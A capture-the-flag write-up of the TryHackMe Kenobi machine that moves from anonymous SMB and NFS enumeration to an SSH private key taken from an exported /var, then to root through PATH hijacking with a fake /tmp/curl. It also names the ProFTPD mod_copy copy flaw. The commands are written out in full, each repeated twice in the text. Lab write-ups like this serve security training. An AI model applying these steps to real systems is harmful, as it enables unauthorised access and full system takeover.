October 1, 2026
Kenobi โ TryHackMe Write-Up
Introduction
By Youssefsamir
5 min read
Introduction
In this write-up, I will walk through my exploitation of the Kenobi machine from TryHackMe.
The objective was to enumerate the target, identify exposed services, obtain an SSH private key, gain access as the kenobi user, and finally escalate privileges to root.
Platform: TryHackMe Machine: Kenobi Target:
10.112.169.0
1. Initial Enumeration
I started by scanning the target using Nmap to identify open ports and service versions.
nmap 10.112.169.0 -sVnmap 10.112.169.0 -sVThe scan revealed several interesting services:
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41
111/tcp open rpcbind
139/tcp open netbios-ssn Samba
445/tcp open netbios-ssn Samba
2049/tcp open nfs21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41
111/tcp open rpcbind
139/tcp open netbios-ssn Samba
445/tcp open netbios-ssn Samba
2049/tcp open nfs
The most interesting services were SMB, NFS, FTP and SSH, so I started enumerating them individually.
2. SMB Enumeration
I first checked the available SMB shares:
smbclient -L //10.112.169.0/smbclient -L //10.112.169.0/The server exposed an interesting share named:
anonymousanonymous
Since the share was accessible anonymously, I connected to it without providing a password:
smbclient //10.112.169.0/anonymous -Nsmbclient //10.112.169.0/anonymous -NI then listed the files:
lslsThere was a file named:
log.txtlog.txtI downloaded it:
get log.txtget log.txt
I inspected the downloaded file:
cat log.txtcat log.txtThe file contained an important piece of information about the kenobi user's SSH private key.
3. Finding the SSH Private Key
Inside log.txt, I found references to an SSH key being generated for the kenobi user:
Generating public/private rsa key pair.
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.Generating public/private rsa key pair.
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.This gave me a potential target:
/home/kenobi/.ssh/id_rsa/home/kenobi/.ssh/id_rsaIf I could obtain this private key, I could potentially authenticate to SSH as kenobi.
At this point, I continued enumerating the other services.
4. Investigating ProFTPD
Nmap identified the FTP service as:
ProFTPD 1.3.5ProFTPD 1.3.5I searched for known vulnerabilities affecting this version and found a vulnerability involving the mod_copy module.
The vulnerable functionality uses the following FTP commands:
SITE CPFR
SITE CPTOSITE CPFR
SITE CPTOCPFR means Copy From, while CPTO means Copy To.
The important point is that this functionality can allow an unauthenticated attacker to copy files from one location to another on a vulnerable server.
This became useful because I needed a way to move the SSH private key into a location that I could access.
5. NFS Enumeration
Nmap also showed that NFS was running on port 2049.
I checked the available NFS exports:
showmount -e 10.112.169.0showmount -e 10.112.169.0The server exposed:
/var/varThe command revealed that the /var directory was exported through NFS.
Since /var was accessible through NFS, I mounted it locally:
Since /var was exposed through NFS, I mounted it on my Kali machine:
sudo mount -t nfs 10.112.169.0:/var thmsshsudo mount -t nfs 10.112.169.0:/var thmsshThen I entered the mounted directory:
cd thmsshcd thmsshListing the contents showed the normal /var directories:
backups
cache
crash
lib
local
lock
log
mail
opt
run
snap
spool
tmp
wwwbackups
cache
crash
lib
local
lock
log
mail
opt
run
snap
spool
tmp
wwwScreenshot 7 โ Mounted NFS Directory
The tmp directory caught my attention, so I checked it:
cd tmp
lscd tmp
lsAnd found:
id_rsaid_rsa
This was the SSH private key I had been looking for.
6. Extracting the SSH Key
I copied the private key to my local /tmp directory:
cp id_rsa /tmp/id_rsacp id_rsa /tmp/id_rsaThen I changed its permissions:
chmod 600 /tmp/id_rsachmod 600 /tmp/id_rsaPrivate SSH keys should have restrictive permissions, otherwise SSH may refuse to use them.
Now I had the private key locally.
7. SSH Access
I attempted to authenticate to the target using the recovered private key:
ssh -i id_rsa kenobi@10.112.169.0ssh -i id_rsa kenobi@10.112.169.0The connection was successful.
I verified the current user:
whoamiwhoamiOutput:
kenobikenobi
I then checked the user's files:
lslsThere was a user.txt file.
I read it using:
cat user.txtcat user.txt
At this point, I had successfully obtained user-level access.
8. Privilege Escalation Enumeration
The next objective was to escalate from:
kenobikenobito:
rootrootWhile enumerating the system, I discovered a custom command called:
menumenuRunning it displayed:
***************************************
1. status check
2. kernel version
3. ifconfig
******************************************************************************
1. status check
2. kernel version
3. ifconfig
***************************************
I selected option 1:
1. status check1. status checkThe command internally relied on curl.
This was interesting because the command was being called without an absolute path.
9. PATH Hijacking
I checked the current $PATH:
echo $PATHecho $PATHI then placed /tmp at the beginning of the PATH:
export PATH=/tmp:$PATHexport PATH=/tmp:$PATHThis means that when a program searches for an executable such as:
curlcurlit will first check:
/tmp/curl/tmp/curlbefore checking the normal system directories.
I created a fake curl file:
touch /tmp/curltouch /tmp/curlThen inserted:
echo /bin/bash > /tmp/curlecho /bin/bash > /tmp/curlFinally, I made it executable:
chmod 777 /tmp/curlchmod 777 /tmp/curl
Now /tmp/curl would be executed whenever the vulnerable program searched for curl.
10. Getting Root
I executed the menu again:
menumenuThen selected:
1. status check1. status checkBecause /tmp was at the beginning of $PATH, the system executed my malicious /tmp/curl instead of the legitimate curl.
Since the command was executed with elevated privileges, /bin/bash gave me a root shell.
I verified my privileges:
whoamiwhoamiOutput:
rootroot
I also verified the account information:
ididThis confirmed that I had successfully escalated to root.
11. Root Flag
Finally, I accessed the root directory:
cd /rootcd /rootThen read the flag:
cat root.txtcat root.txt
The machine was successfully rooted.
Attack Chain
The complete attack path was:
Nmap Enumeration
โ
SMB Anonymous Share
โ
Download log.txt
โ
Discover SSH Key
โ
NFS Enumeration
โ
/var Export
โ
Find /var/tmp/id_rsa
โ
Recover SSH Private Key
โ
SSH as kenobi
โ
Privilege Escalation Enumeration
โ
PATH Hijacking
โ
Malicious /tmp/curl
โ
Root Shell
โ
Root FlagNmap Enumeration
โ
SMB Anonymous Share
โ
Download log.txt
โ
Discover SSH Key
โ
NFS Enumeration
โ
/var Export
โ
Find /var/tmp/id_rsa
โ
Recover SSH Private Key
โ
SSH as kenobi
โ
Privilege Escalation Enumeration
โ
PATH Hijacking
โ
Malicious /tmp/curl
โ
Root Shell
โ
Root FlagWhat I Learned
This machine demonstrated how several small weaknesses can be chained together to achieve full system compromise.
Enumeration is critical
The initial Nmap scan revealed multiple services, which gave me several directions to investigate.
SMB can leak sensitive information
The anonymous SMB share exposed log.txt, which provided valuable information about the SSH key.
NFS misconfiguration can expose sensitive files
The /var directory was accessible through NFS, eventually leading to the discovery of the private SSH key.
Private SSH keys must be protected
Once the id_rsa key was recovered, I could authenticate as the kenobi user without needing the user's password.
PATH hijacking is a powerful privilege escalation technique
If a privileged program executes a command using only its name instead of its absolute path, an attacker may be able to control which executable gets executed.
Final Thoughts
The most important lesson I took from the Kenobi machine is that penetration testing is not always about finding one huge vulnerability.
Sometimes the attack path is built by combining multiple weaknesses:
Information Disclosure
+
NFS Misconfiguration
+
Exposed SSH Key
+
PATH Hijacking
=
Root AccessInformation Disclosure
+
NFS Misconfiguration
+
Exposed SSH Key
+
PATH Hijacking
=
Root AccessThe workflow I followed was:
Enumerate โ Investigate โ Exploit โ Access โ Escalate
This machine was a great practical exercise for understanding Linux enumeration, SMB/NFS misconfigurations, SSH key abuse, and privilege escalation.
Thanks for reading! ๐
More write-ups and cybersecurity labs coming soon.